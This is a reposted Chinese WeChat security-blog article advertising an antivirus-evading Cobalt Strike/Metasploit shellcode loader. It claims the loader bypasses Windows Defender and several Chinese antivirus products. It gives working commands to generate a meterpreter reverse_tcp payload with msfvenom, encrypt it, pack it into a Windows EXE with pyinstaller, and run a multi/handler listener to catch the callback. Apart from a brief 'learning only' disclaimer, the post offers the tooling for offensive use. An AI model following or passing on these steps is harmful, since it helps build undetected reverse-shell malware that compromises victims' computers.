项目作者：Axx8
项目地址：https://github.com/Axx8/ShellCode_Loader
0x01 工具介绍
CobaltStrike免杀ShellCode加载器
Shellcode_encryption - 免杀Shellcode加密生成工具
目前测试免杀360&火绒&电脑管家&Windows Defender（其他杀软未测试）。
0x02 安装与使用
1、生成Msf_Payload
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.30.20 lport=8899 -f c -o payload.cmsfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.30.20 lport=8899 -f py -o payload_py.c
2、生成CobaltStrike_Payload
选择使用x64的C语言或Python语言的Shellcode。
得到一个payload.c的文件，内容为：
3、加密Payload
Shellcode_encryption.exe payload.c
4、配置ShellCode加载器，将生成的密文ShellCode 填至 ShellCode_Loader.py 里的 Data = '密文Shellcode' 处 示例：
5、打包可执行程序(EXE编译环境)，生成ShellCode_Loader.exe在dist目录中
Python 3.8.6pyinstaller 4.7pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simplepyinstaller -F -w ShellCode_Loader.py
6、上线测试
运行监听
msfconsolemsf6 > use exploit/multi/handlermsf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcpmsf6 exploit(multi/handler) > set lhost 0.0.0.0msf6 exploit(multi/handler) > set lport 8080msf6 exploit(multi/handler) > run
>精彩回顾<
Cobalt Strike免杀脚本生成器|cna脚本|bypassAV
xss bypass备忘单|xss绕过防火墙技巧|xss绕过WAF的方法
【贼详细 | 附PoC工具】Apache HTTPd最新RCE漏洞复现
【神兵利器 | 附下载】一个用于隐藏C2的、开箱即用的Tools
关注我
获得更多精彩
坚持学习与分享！走过路过点个"在看"，不会错过
仅用于学习交流，不得用于非法用途
如侵权请私聊公众号删文
觉得文章不错给点个‘再看’吧
原文始发于微信公众号（EchoSec）：神兵利器 | CobaltStrike免杀ShellCode加载器（附下载）
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论